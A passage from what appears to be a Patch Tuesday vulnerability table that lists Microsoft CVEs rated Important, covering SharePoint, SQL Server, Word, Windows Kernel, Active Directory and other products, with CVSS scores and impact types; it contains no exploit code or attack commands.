CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service 